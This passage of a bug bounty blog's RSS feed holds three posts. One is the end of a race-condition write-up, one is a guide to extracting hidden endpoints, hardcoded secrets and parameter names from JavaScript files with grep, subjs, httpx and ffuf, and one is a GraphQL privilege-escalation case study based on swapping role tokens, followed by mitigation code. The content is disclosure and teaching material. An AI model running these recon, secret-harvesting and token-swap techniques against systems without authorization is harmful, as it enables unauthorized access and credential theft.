<p data-start="11844" data-end="11972"><strong data-start="11844" data-end="11868">Make creation atomic</strong>: use <code data-start="11874" data-end="11898">INSERT ... ON CONFLICT</code> (upsert) or equivalent so concurrent creates cannot produce duplicates.</p>
</li>
<li data-start="11973" data-end="12122">
<p data-start="11976" data-end="12122"><strong data-start="11976" data-end="12011">Canonicalize inputs server-side</strong>: trim and lowercase emails and return the existing resource or a clear response when duplicates are attempted.</p>
</li>
</ol>
<h3 data-start="178" data-end="196">Final Thoughts</h3>
<p data-start="198" data-end="530">This case is a perfect reminder that even mature applications can overlook concurrency edge cases that don’t show up in regular testing. Client-side validation or simple “check-before-insert” logic might appear sufficient, but when operations run in parallel, the tiniest race window can lead to large-scale data integrity issues.</p>
<p data-start="532" data-end="812">What made this bug particularly impactful is that it didn’t rely on exotic conditions or privilege escalation — just timing. By coordinating concurrent identical requests, an attacker could manipulate backend logic in ways that normal single-threaded testing would never reveal.</p>
<p data-start="814" data-end="1078">In real-world systems where notifications, transactions, or queue-based processes are triggered by new records, such duplication can have serious downstream effects — from flooding users with redundant messages to distorting analytics or overloading task queues.</p>
<p data-start="1080" data-end="1391">Building truly robust APIs requires more than input validation; it demands atomic operations, proper database constraints, and a mindset that anticipates concurrency. Race conditions often hide in plain sight, but once discovered, they offer some of the most valuable lessons for improving backend resilience.</p>
<p data-start="1393" data-end="1474">In short, <strong data-start="1403" data-end="1431">always think in parallel</strong> — because your attackers certainly will.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hackersatty.com/how-i-abused-a-race-condition-to-create-duplicate-notification-records-sanitized/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">521</post-id>	</item>
		<item>
		<title>Powerful $1000 Bug Bounty Guide: Discover Hidden Endpoints in JavaScript JS Files</title>
		<link>https://hackersatty.com/javascript-js-file-analysis-bug-bounty-guide/</link>
					<comments>https://hackersatty.com/javascript-js-file-analysis-bug-bounty-guide/#respond</comments>
		
		<dc:creator><![CDATA[hackersatty]]></dc:creator>
		<pubDate>Tue, 17 Jun 2025 18:23:56 +0000</pubDate>
				<category><![CDATA[Bug Bounty Blogs]]></category>
		<category><![CDATA[bug bounty for beginners]]></category>
		<category><![CDATA[bug bounty hunter]]></category>
		<category><![CDATA[bug bounty reports]]></category>
		<category><![CDATA[bug bounty tools]]></category>
		<category><![CDATA[Bug Bounty writeup]]></category>
		<category><![CDATA[javascript file analysis]]></category>
		<category><![CDATA[javascript js file]]></category>
		<category><![CDATA[learn bug bounty hunting]]></category>
		<category><![CDATA[read javascript file]]></category>
		<guid isPermaLink="false">https://hackersatty.com/?p=418</guid>

					<description><![CDATA[Satyam Pawale (@hackersatty) Introduction If you&#8217;re a bug bounty hunter, JavaScript js files should be your best friends. They’re often overlooked but loaded with critical clues like hidden API endpoints, &#8230; <a href="https://hackersatty.com/javascript-js-file-analysis-bug-bounty-guide/" class="more-link">Read More</a>]]></description>
										<content:encoded><![CDATA[<p data-start="500" data-end="600"><strong data-start="500" data-end="540">Satyam Pawale (@hackersatty)</strong></p>
<hr data-start="602" data-end="605" />
<h2 data-start="607" data-end="622">Introduction</h2>
<p data-start="624" data-end="829">If you&#8217;re a bug bounty hunter, JavaScript js files should be your best friends. They’re often overlooked but loaded with critical clues like hidden API endpoints, hardcoded secrets, and sensitive directories.</p>
<p data-start="831" data-end="1119">In this guide, I’ll walk you through <strong data-start="868" data-end="906">how I use JavaScript file analysis</strong> to find real vulnerabilities and boost my bug bounty payouts. You’ll learn practical regex commands, tooling, and techniques to automate this process—even if you’re just getting started in <strong data-start="1096" data-end="1118">bug bounty hunting</strong>.</p>
<hr data-start="1121" data-end="1124" />
<h2 data-start="1126" data-end="1156">Why JavaScript Files Matter</h2>
<p data-start="1158" data-end="1256">JavaScript (JS) files aren’t just for front-end logic. Developers often leave sensitive info like:</p>
<ul data-start="1258" data-end="1389">
<li data-start="1258" data-end="1281">
<p data-start="1260" data-end="1281">Internal API routes</p>
</li>
<li data-start="1282" data-end="1309">
<p data-start="1284" data-end="1309">Auth tokens or API keys</p>
</li>
<li data-start="1310" data-end="1350">
<p data-start="1312" data-end="1350">Endpoints not listed in Swagger docs</p>
</li>
<li data-start="1351" data-end="1389">
<p data-start="1353" data-end="1389">Logic that reveals hidden features</p>
</li>
</ul>
<p data-start="1391" data-end="1481">They can expose the <strong data-start="1411" data-end="1439">entire backend structure</strong>, giving you a big advantage during recon.</p>
<hr data-start="1483" data-end="1486" />
<h2 data-start="1488" data-end="1540">Step 1: How to Read and Download JavaScript Files</h2>
<p data-start="1542" data-end="1695">You can find JavaScript files by opening <strong data-start="1583" data-end="1604">browser dev tools</strong>, going to the <strong data-start="1619" data-end="1630">Network</strong> tab, and filtering for <code data-start="1654" data-end="1659">.js</code>. Copy their URLs or use tools like:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">wget https://target.com/assets/app.js<br />
curl -O https://target.com/static/main.js<br />
</code></div>
</div>
<p data-start="1790" data-end="1828">Other tools to automate JS collection:</p>
<ul data-start="1829" data-end="1862">
<li data-start="1829" data-end="1844">
<p data-start="1831" data-end="1844"><code data-start="1831" data-end="1844">waybackurls</code></p>
</li>
<li data-start="1845" data-end="1852">
<p data-start="1847" data-end="1852"><code data-start="1847" data-end="1852">gau</code></p>
</li>
<li data-start="1853" data-end="1862">
<p data-start="1855" data-end="1862"><code data-start="1855" data-end="1862">subjs</code></p>
</li>
</ul>
<hr data-start="1864" data-end="1867" />
<h2 data-start="1869" data-end="1917">Step 2: Extract API Endpoints and Directories</h2>
<p data-start="1919" data-end="2002">JS files often contain relative or full API paths. Here’s a quick way to pull them:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">grep -Eo <span class="hljs-string">'("|\'</span>)(/[^<span class="hljs-string">"'\`]+)("</span>|\')<span class="hljs-string">' *.js | sort -u<br />
</span></code></div>
</div>
<p data-start="2067" data-end="2076">Look for:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!"><span class="hljs-string">"/api/v1/user/"</span><br />
<span class="hljs-string">"/uploads/images/"</span><br />
<span class="hljs-string">"/admin/config/"</span><br />
</code></div>
</div>
<p data-start="2138" data-end="2220">These could be unprotected routes or useful for further attacks like IDOR or SSRF.</p>
<hr data-start="2222" data-end="2225" />
<h2 data-start="2227" data-end="2257">Step 3: Detect HTTP Methods</h2>
<p data-start="2259" data-end="2336">APIs don’t only use GET. JS files show all HTTP verbs like POST, PUT, DELETE:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-js"><span class="hljs-title function_">fetch</span>(<span class="hljs-string">"/api/v1/update"</span>, { <span class="hljs-attr">method</span>: <span class="hljs-string">"POST"</span> })<br />
axios.<span class="hljs-title function_">post</span>(<span class="hljs-string">"/user/data"</span>, { <span class="hljs-attr">data</span>: payload })<br />
</code></div>
</div>
<p data-start="2437" data-end="2467">To extract them automatically:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">grep -Eo <span class="hljs-string">'fetch\([^)]*\)|axios\.[a-z]+'</span> *.js | <span class="hljs-built_in">sort</span> -u<br />
</code></div>
</div>
<p data-start="2537" data-end="2587">Look for dynamic methods or hidden admin requests.</p>
<hr data-start="2589" data-end="2592" />
<h2 data-start="2594" data-end="2633">Step 4: Search for Hardcoded Secrets</h2>
<p data-start="2635" data-end="2710">Sometimes developers leave keys right inside the JS. Use this to find them:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">grep -Eo <span class="hljs-string">'[A-Za-z0-9_-]{30,}'</span> *.js | <span class="hljs-built_in">sort</span> -u<br />
</code></div>
</div>
<p data-start="2770" data-end="2790">What you might find:</p>
<ul data-start="2791" data-end="2860">
<li data-start="2791" data-end="2808">
<p data-start="2793" data-end="2808">Firebase keys</p>
</li>
<li data-start="2809" data-end="2828">
<p data-start="2811" data-end="2828">AWS credentials</p>
</li>
<li data-start="2829" data-end="2844">
<p data-start="2831" data-end="2844">JWT secrets</p>
</li>
<li data-start="2845" data-end="2860">
<p data-start="2847" data-end="2860">Stripe tokens</p>
</li>
</ul>
<p data-start="2862" data-end="2900">Also try searching for these keywords:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!"><span class="hljs-attribute">api_key</span><br />
secret<br />
token<br />
access_token<br />
</code></div>
</div>
<hr data-start="2944" data-end="2947" />
<h2 data-start="2949" data-end="2987">Step 5: Automate the Entire Process</h2>
<h3 data-start="2989" data-end="3025">Tools That Help You Hunt Faster:</h3>
<ul data-start="3027" data-end="3223">
<li data-start="3027" data-end="3071">
<p data-start="3029" data-end="3071"><strong data-start="3029" data-end="3043">LinkFinder</strong> – Extract endpoints from JS</p>
</li>
<li data-start="3072" data-end="3123">
<p data-start="3074" data-end="3123"><strong data-start="3074" data-end="3090">SecretFinder</strong> – Find secrets, keys, and tokens</p>
</li>
<li data-start="3124" data-end="3165">
<p data-start="3126" data-end="3165"><strong data-start="3126" data-end="3136">JSleak</strong> – Powerful tool for JS recon</p>
</li>
<li data-start="3166" data-end="3223">
<p data-start="3168" data-end="3223"><strong data-start="3168" data-end="3177">catjs</strong> – Highly customizable regex-based JS analyzer</p>
</li>
</ul>
<h3 data-start="3225" data-end="3246">Example Workflow:</h3>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">subjs domain.com | httpx -mc 200 | xargs -n1 wget<br />
grep -Eo <span class="hljs-string">'("|\'</span>)(/[^<span class="hljs-string">"'\`]+)("</span>|\')<span class="hljs-string">' *.js &gt; endpoints.txt<br />
grep -Eo '</span>[A-Za-z0-9_-]{30,}<span class="hljs-string">' *.js &gt; secrets.txt<br />
</span></code></div>
</div>
<hr data-start="3416" data-end="3419" />
<h2 data-start="3421" data-end="3460">Step 6: Fuzzing Discovered Endpoints</h2>
<p data-start="3462" data-end="3519">Once you’ve collected endpoints from JS, test them using:</p>
<ul data-start="3520" data-end="3629">
<li data-start="3520" data-end="3550">
<p data-start="3522" data-end="3550"><code data-start="3522" data-end="3528">ffuf</code> for directory fuzzing</p>
</li>
<li data-start="3551" data-end="3592">
<p data-start="3553" data-end="3592"><code data-start="3553" data-end="3568">Burp Intruder</code> for parameter injection</p>
</li>
<li data-start="3593" data-end="3629">
<p data-start="3595" data-end="3629"><code data-start="3595" data-end="3603">Nuclei</code> for known vulnerabilities</p>
</li>
</ul>
<p data-start="3631" data-end="3650">You might discover:</p>
<ul data-start="3651" data-end="3760">
<li data-start="3651" data-end="3677">
<p data-start="3653" data-end="3677">Unauthenticated access</p>
</li>
<li data-start="3678" data-end="3710">
<p data-start="3680" data-end="3710">Broken access control (IDOR)</p>
</li>
<li data-start="3711" data-end="3737">
<p data-start="3713" data-end="3737">Debug or dev-only APIs</p>
</li>
<li data-start="3738" data-end="3760">
<p data-start="3740" data-end="3760">Misconfigured routes</p>
</li>
</ul>
<h2 data-start="190" data-end="263">Step 7: Analyze JavaScript for Parameter Names and Sensitive Variables</h2>
<p data-start="265" data-end="460">When developers write frontend JavaScript, they often pass user input or internal values as parameters to API calls or functions. These variable names can help you craft <strong data-start="435" data-end="454">smarter attacks</strong> like:</p>
<ul data-start="462" data-end="528">
<li data-start="462" data-end="487">
<p data-start="464" data-end="487"><strong data-start="464" data-end="487">Parameter pollution</strong></p>
</li>
<li data-start="488" data-end="498">
<p data-start="490" data-end="498"><strong data-start="490" data-end="498">IDOR</strong></p>
</li>
<li data-start="499" data-end="518">
<p data-start="501" data-end="518"><strong data-start="501" data-end="518">Open redirect</strong></p>
</li>
<li data-start="519" data-end="528">
<p data-start="521" data-end="528"><strong data-start="521" data-end="528">XSS</strong></p>
</li>
</ul>
<hr data-start="530" data-end="533" />
<h3 data-start="535" data-end="559">🔍 What to Look For:</h3>
<p data-start="561" data-end="641">Look for variable names in JS code that might indicate sensitive input, such as:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-js"><span class="hljs-keyword">const</span> userId = <span class="hljs-title function_">getCurrentUserId</span>();<br />
<span class="hljs-keyword">const</span> redirectUrl = <span class="hljs-variable language_">window</span>.<span class="hljs-property">location</span>.<span class="hljs-property">href</span>;<br />
<span class="hljs-keyword">const</span> token = <span class="hljs-title function_">getAuthToken</span>();<br />
</code></div>
</div>
<p data-start="761" data-end="842">These are goldmines — especially when passed to backend APIs or appended to URLs.</p>
<hr data-start="844" data-end="847" />
<h3 data-start="849" data-end="892">🛠️ Regex to Extract Suspect Variables:</h3>
<p data-start="894" data-end="931">Run this in your downloaded JS files:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">grep -Eo <span class="hljs-string">'([a-zA-Z0-9_]{3,})\s*=\s*(["'</span>\`]?.{1,80}[<span class="hljs-string">"'\`]?)' *.js | grep -iE 'user|token|auth|id|url|key'<br />
</span></code></div>
</div>
<p data-start="1051" data-end="1081">You&#8217;ll often catch lines like:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!"><span class="hljs-attr">authToken</span> = <span class="hljs-string">"abc123xyz"</span><br />
<span class="hljs-attr">user_id</span> = request.user.id<br />
<span class="hljs-attr">redirectURL</span> = <span class="hljs-string">"/dashboard?next=/admin"</span><br />
</code></div>
</div>
<hr data-start="1181" data-end="1184" />
<h3 data-start="1186" data-end="1224">🎯 Why This Matters for Bug Bounty</h3>
<p data-start="1226" data-end="1316">Once you know the <strong data-start="1244" data-end="1269">exact parameter names</strong> being used, you can test them with tools like:</p>
<ul data-start="1318" data-end="1488">
<li data-start="1318" data-end="1376">
<p data-start="1320" data-end="1376"><strong data-start="1320" data-end="1337">Burp Repeater</strong> – Manually inject or override params</p>
</li>
<li data-start="1377" data-end="1436">
<p data-start="1379" data-end="1436"><strong data-start="1379" data-end="1402">ffuf or ParamSpider</strong> – Fuzz for parameter-based bugs</p>
</li>
<li data-start="1437" data-end="1488">
<p data-start="1439" data-end="1488"><strong data-start="1439" data-end="1448">Arjun</strong> – Auto-discovers hidden HTTP parameters</p>
</li>
</ul>
<p data-start="1490" data-end="1502">For example:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">ffuf -u https://target.com/profile?FUZZ=123 -w params.txt -fs 0<br />
</code></div>
</div>
<p data-start="1581" data-end="1616">You might discover parameters like:</p>
<ul data-start="1618" data-end="1668">
<li data-start="1618" data-end="1634">
<p data-start="1620" data-end="1634"><code data-start="1620" data-end="1632">admin=true</code></p>
</li>
<li data-start="1635" data-end="1656">
<p data-start="1637" data-end="1656"><code data-start="1637" data-end="1654">access=internal</code></p>
</li>
<li data-start="1657" data-end="1668">
<p data-start="1659" data-end="1668"><code data-start="1659" data-end="1668">debug=1</code></p>
</li>
</ul>
<p data-start="1670" data-end="1703">All because the JS revealed them!</p>
<hr data-start="3762" data-end="3765" />
<h2 data-start="3767" data-end="3784">Best Practices</h2>
<ul data-start="3786" data-end="4064">
<li data-start="3786" data-end="3884">
<p data-start="3788" data-end="3884">Always <strong data-start="3795" data-end="3807">prettify</strong> JavaScript code for better readability (<code data-start="3848" data-end="3862">jsbeautifier</code>, online formatters)</p>
</li>
<li data-start="3885" data-end="3936">
<p data-start="3887" data-end="3936">Respect <strong data-start="3895" data-end="3909">robots.txt</strong> and <strong data-start="3914" data-end="3934">terms of service</strong></p>
</li>
<li data-start="3937" data-end="3995">
<p data-start="3939" data-end="3995">Don’t report fake issues—test thoroughly and reproduce</p>
</li>
<li data-start="3996" data-end="4064">
<p data-start="3998" data-end="4064">Use clear write-ups with request/response, impact, and remediation</p>
</li>
</ul>
<hr data-start="4066" data-end="4069" />
<h2 data-start="4071" data-end="4128">Bonus: Real Bug Bounty Report from JavaScript Analysis</h2>
<p data-start="4130" data-end="4278">I once found a hidden admin dashboard <code data-start="4168" data-end="4192">/admin/internal/config</code> from a JS file. No auth, full access to user records. Reported it → <strong data-start="4261" data-end="4277">$1000 payout</strong>.</p>
<p data-start="4280" data-end="4291">Tools used:</p>
<ul data-start="4292" data-end="4336">
<li data-start="4292" data-end="4304">
<p data-start="4294" data-end="4304">Burp Suite</p>
</li>
<li data-start="4305" data-end="4317">
<p data-start="4307" data-end="4317">LinkFinder</p>
</li>
<li data-start="4318" data-end="4336">
<p data-start="4320" data-end="4336">Manual JS review</p>
</li>
</ul>
<hr data-start="4338" data-end="4341" />
<h2 data-start="4343" data-end="4356">Conclusion</h2>
<p data-start="4358" data-end="4580">If you want to be a successful <strong data-start="4389" data-end="4410">bug bounty hunter</strong>, you must master JavaScript analysis. It&#8217;s one of the highest ROI areas in recon. Start small—analyze one file, extract endpoints, look for secrets, automate what works.</p>
<p data-start="4582" data-end="4691">Stick with it. I started just a year ago, and now I consistently find high-severity bugs through JS analysis.</p>
<hr data-start="4693" data-end="4696" />
<h2 data-start="4698" data-end="4735">Keywords in This Article:</h2>
<ul data-start="4736" data-end="4999">
<li data-start="4736" data-end="4762">
<p data-start="4738" data-end="4762"><code data-start="4738" data-end="4760">read javascript file</code></p>
</li>
<li data-start="4763" data-end="4787">
<p data-start="4765" data-end="4787"><code data-start="4765" data-end="4785">javascript js file</code></p>
</li>
<li data-start="4788" data-end="4811">
<p data-start="4790" data-end="4811"><code data-start="4790" data-end="4809">bug bounty hunter</code></p>
</li>
<li data-start="4812" data-end="4836">
<p data-start="4814" data-end="4836"><code data-start="4814" data-end="4834">bug bounty reports</code></p>
</li>
<li data-start="4837" data-end="4867">
<p data-start="4839" data-end="4867"><code data-start="4839" data-end="4865">learn bug bounty hunting</code></p>
</li>
<li data-start="4868" data-end="4891">
<p data-start="4870" data-end="4891"><code data-start="4870" data-end="4889">bug bounty course</code></p>
</li>
<li data-start="4892" data-end="4916">
<p data-start="4894" data-end="4916"><code data-start="4894" data-end="4914">bug bounty writeup</code></p>
</li>
<li data-start="4917" data-end="4939">
<p data-start="4919" data-end="4939"><code data-start="4919" data-end="4937">bug bounty tools</code></p>
</li>
<li data-start="4940" data-end="4970">
<p data-start="4942" data-end="4970"><code data-start="4942" data-end="4968">bug bounty for beginners</code></p>
</li>
<li data-start="4971" data-end="4999">
<p data-start="4973" data-end="4999"><code data-start="4973" data-end="4999">javascript file analysis</code></p>
</li>
</ul>
<hr data-start="5001" data-end="5004" />
<h2 data-start="5006" data-end="5043">Internal Links</h2>
<ul data-start="5044" data-end="5336">
<li data-start="5262" data-end="5336">
<p data-start="5264" data-end="5336"><a href="https://hackersatty.com/idor-vulnerability-api-bug-bounty-case-study/">My Internal Blogs</a></p>
</li>
</ul>
<hr data-start="5338" data-end="5341" />
<h2 data-start="5343" data-end="5365">External Resources:</h2>
<ul data-start="5366" data-end="5541">
<li data-start="5366" data-end="5434">
<p data-start="5368" data-end="5434"><a class="" href="https://github.com/GerbenJavado/LinkFinder" target="_new" rel="noopener" data-start="5368" data-end="5434">LinkFinder on GitHub</a></p>
</li>
<li data-start="5435" data-end="5491">
<p data-start="5437" data-end="5491"><a class="" href="https://github.com/m4ll0k/SecretFinder" target="_new" rel="noopener" data-start="5437" data-end="5491">SecretFinder</a></p>
</li>
<li data-start="5492" data-end="5541">
<p data-start="5494" data-end="5541"><a class="" href="https://github.com/0x240x23elu/JSLeak" target="_new" rel="noopener" data-start="5494" data-end="5541">JSLeak</a></p>
</li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://hackersatty.com/javascript-js-file-analysis-bug-bounty-guide/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">418</post-id>	</item>
		<item>
		<title>Privilege Escalation in GraphQL – 1 Shocking Real-World Bug Bounty Exploit</title>
		<link>https://hackersatty.com/privilege-escalation-graphql/</link>
					<comments>https://hackersatty.com/privilege-escalation-graphql/#comments</comments>
		
		<dc:creator><![CDATA[hackersatty]]></dc:creator>
		<pubDate>Sat, 31 May 2025 17:03:08 +0000</pubDate>
				<category><![CDATA[Bug Bounty Blogs]]></category>
		<category><![CDATA[Bug Bounty]]></category>
		<category><![CDATA[Bug Bounty writeup]]></category>
		<category><![CDATA[ggql]]></category>
		<category><![CDATA[graphql]]></category>
		<category><![CDATA[IDOR]]></category>
		<category><![CDATA[idor bug bounty]]></category>
		<category><![CDATA[privilege Escalation]]></category>
		<guid isPermaLink="false">https://hackersatty.com/?p=228</guid>

					<description><![CDATA[GraphQL is an awesome query language for APIs, letting you grab exactly the data you need. But without tight security, its flexibility can backfire. During a test, I found a flaw in a GraphQL endpoint (think sample paths like /graphql or /graphql.json). A user with a “finance” role token could tweak requests to sneak into admin-level data—yikes! The server skipped privilege checks, opening the door to unauthorized access. Hackersatty is here to break it down!]]></description>
										<content:encoded><![CDATA[<p></p>
<h6 class="wp-block-heading"><em>By Satyam Pawale (@hackersatty)</em></h6>
<h2>About Me</h2>
<p>Hey security enthusiasts! I’m <strong>Satyam Pawale</strong>, better known in the cybersecurity and bug bounty community as <strong>@hackersatty</strong>. I specialize in identifying <strong>real-world security vulnerabilities</strong> in web applications using smart reconnaissance, API testing, and JavaScript analysis and Privilege Escalation. I began my bug bounty journey in 2024 and have been passionate about securing web systems ever since.</p>
<div><hr /></div>
<h2>Privilege Escalation in GraphQL: How I Gained Unauthorized Admin Access</h2>
<p>In the world of modern APIs, GraphQL has become increasingly popular for its flexibility and efficiency. However, this flexibility often comes at the cost of security if not implemented properly. One common issue is where a user with lower privileges is able to perform actions or access data meant for higher-privileged users.</p>
<p>In this detailed blog, I will walk you through a real-life bug bounty scenario where a user with a &#8220;finance&#8221; role was able to exploit GraphQL endpoints to gain unauthorized access to admin data. This exploit highlights critical lapses in role-based access control (RBAC) and shows why it&#8217;s essential to validate permissions at every level of API design.</p>
<div><hr /></div>
<h2>What is Privilege Escalation in GraphQL?</h2>
<p>Privilege escalation in GraphQL typically refers to an attacker manipulating queries or tokens in a way that allows them to gain access to data or functionality beyond what their role should permit. This usually happens because of misconfigured access control on the backend or poor handling of user roles within queries and mutations.</p>
<p>GraphQL schemas expose a lot of information through introspection. If the API isn&#8217;t properly locked down, a user can query for schema metadata, discover sensitive fields, and craft malicious queries even with a low-privilege token.</p>
<div><hr /></div>
<h2>Background: The Application I Tested</h2>
<p>The application was a business management platform with GraphQL-based APIs. Users were segmented by roles: admin, finance, operations, and customer support. The finance role was intended only to view transaction reports and generate invoices. The admin role, on the other hand, had access to user management, product creation, and system configurations.</p>
<p>Endpoints: </p>
<p>Privilege Escaltion:</p>
<ol>
<li>Admin</li>
<li>Finance</li>
</ol>
<ul data-spread="false">
<li>
<p><code>/graphql</code></p>
</li>
<li>
<p><code>/graphql.json</code></p>
</li>
<li>
<p>Custom aliases such as <code>/ggql</code></p>
</li>
</ul>
<p>My role: finance (using a test account). (Privilege Escalation on admin )</p>
<div><hr /></div>
<h2>Step-by-Step Exploitation</h2>
<h3>Step 1: GraphQL Endpoint Discovery</h3>
<p>First, I identified the GraphQL endpoints using common paths:</p>
<ul data-spread="false">
<li>
<p><code>/graphql</code> returned a working GraphQL interface</p>
</li>
<li>
<p>Using tools like Postman and InQL, I discovered that introspection was enabled</p>
</li>
</ul>
<p>I downloaded the entire schema and noted down all queries and mutations.</p>
<div><hr /></div>
<h3>Step 2: Sensitive Mutation Discovery</h3>
<p>One mutation drew my attention:</p>
<pre><code>mutation CreateProduct($id: String!, $name: String!) {
  createProduct(id: $id, name: $name) {
    id
    name
    createdBy
  }
}</code></pre>
<p>This was clearly meant for the admin role. It allowed the creation of a product in the system.</p>
<div><hr /></div>
<h3>Step 3: Capture an Admin Request (Simulated)</h3>
<p>Using a test admin account, I observed the request sent for creating a product. It included:</p>
<ul data-spread="false">
<li>
<p>Authorization: Bearer <code>adminToken</code></p>
</li>
<li>
<p>GraphQL mutation with product ID and name</p>
</li>
</ul>
<div><hr /></div>
<h3>Step 4: Replace Admin Token with Finance Token</h3>
<p>I replaced the admin token with a valid finance user token and replayed the exact same mutation.</p>
<p>To my surprise, the request was successful.</p>
<p><strong>Why did this happen?</strong> The backend didn&#8217;t validate if the user role matched the operation being performed. The server simply checked if the token was valid, not if the token belonged to a user with the correct privileges.</p>
<figure style="width: 875px" class="wp-caption alignnone"><img decoding="async" src="https://miro.medium.com/v2/resize:fit:875/1*DfDm3P9sHafYHpp4DCH1JA.png" alt="Privilege Escalation in GraphQL exploiting finance role token to gain unauthorized admin access" width="875" height="408" title="Privilege Escalation in GraphQL – 1 Shocking Real-World Bug Bounty Exploit 3"><figcaption class="wp-caption-text">Real-world example of Privilege Escalation in GraphQL: Exploiting a Finance Role Token to Access Admin-Level Controls.</figcaption></figure>
<div><hr /></div>
<h2>Real-World Impact of the Exploit</h2>
<p>This vulnerability had serious implications:</p>
<ul data-spread="false">
<li>
<p>The finance user could create products without proper authorization.</p>
</li>
<li>
<p>They could potentially access audit logs, admin reports, and user data.</p>
</li>
<li>
<p>In an extended scenario, this could be chained with other vulnerabilities to gain full system compromise.</p>
</li>
</ul>
<p>This is not a theoretical issue. Many real-world applications using GraphQL face similar issues due to:</p>
<ul data-spread="false">
<li>
<p>Missing server-side role validation</p>
</li>
<li>
<p>Over-exposed GraphQL schemas</p>
</li>
<li>
<p>Poorly implemented authorization layers</p>
</li>
</ul>
<div><hr /></div>
<h2>Root Cause Analysis : Privilege Escalation</h2>
<ol start="1" data-spread="true">
<li>
<p><strong>Missing Role Check:</strong> The <code>createProduct</code> mutation lacked any server-side validation for the user&#8217;s role. It assumed the frontend would hide or restrict access.</p>
</li>
<li>
<p><strong>Overuse of Trust in JWTs:</strong> While the JWT tokens were valid, the claims within them weren’t checked during sensitive operations. For example, <code>role=finance</code> should have triggered a denial response.</p>
</li>
<li>
<p><strong>Exposed Introspection Schema:</strong> This allowed discovery of mutations that shouldn&#8217;t have been publicly visible.</p>
</li>
</ol>
<div><hr /></div>
<h2>Mitigation Strategies</h2>
<h3>1. Implement Strong Role-Based Access Control (RBAC)</h3>
<p>Every query and mutation must validate the user&#8217;s role before processing.</p>
<pre><code>if (user.role !== 'admin') {
  throw new Error('Unauthorized');
}</code></pre>
<p>Don&#8217;t rely solely on frontend validation.</p>
<h3>2. Disable Introspection in Production</h3>
<p>Use middleware to block schema introspection in production environments.</p>
<pre><code>const { graphqlHTTP } = require('express-graphql');
graphqlHTTP({
  schema,
  graphiql: false,
  customFormatErrorFn: () =&gt; null,
});</code></pre>
<h3>3. Enforce Field-Level Authorization</h3>
<p>Instead of protecting only at the endpoint or mutation level, ensure that <strong>each field</strong> in your schema is protected.</p>
<h3>4. Audit and Monitor</h3>
<p>Set up logging and monitoring on sensitive queries. Alert on:</p>
<ul data-spread="false">
<li>
<p>Role misuse</p>
</li>
<li>
<p>Excessive replayed queries</p>
</li>
<li>
<p>Field access patterns</p>
</li>
</ul>
<h3>5. Use Allowlists</h3>
<p>Only allow access to a predefined list of queries or mutations based on roles. Tools like Hasura or custom middleware can help enforce this.</p>
<div><hr /></div>
<h2>Key Lessons for Bug Bounty Hunters</h2>
<ul data-spread="false">
<li>
<p>Always inspect GraphQL introspection results for overlooked fields and mutations.</p>
</li>
<li>
<p>Try swapping valid tokens across roles to test access control flaws and hunt of Privilege Escalation</p>
</li>
<li>
<p>Just because a mutation is hidden on the frontend doesn&#8217;t mean it can&#8217;t be accessed.</p>
</li>
<li>
<p>Combine escalation with IDOR or insecure object references to expand the impact.</p>
</li>
</ul>
<div><hr /></div>
<h2>Final Thoughts</h2>
<p>This bug was simple but devastating. It highlights why GraphQL applications need strict backend validation and continuous security review. Developers often rely on frontend controls or incomplete middleware, assuming it will prevent abuse. However, security must always be enforced server-side.</p>
<p>As a bug bounty hunter, your job is to think creatively. Ask questions like:</p>
<ul data-spread="false">
<li>
<p>What if I change the token?</p>
</li>
<li>
<p>What if I access the mutation directly?</p>
</li>
<li>
<p>What if I modify hidden fields?</p>
</li>
</ul>
<p>GraphQL gives attackers power. Make sure your security matches that power.</p>
<div><hr />
<p><strong>Related Internal Link:</strong></p>
<p><a href="https://hackersatty.com/javascript-analysis-bug-bounty/">How I Leaked Admin Metadata via Token Swap in a Real Bug Bounty</a></p>
</div>
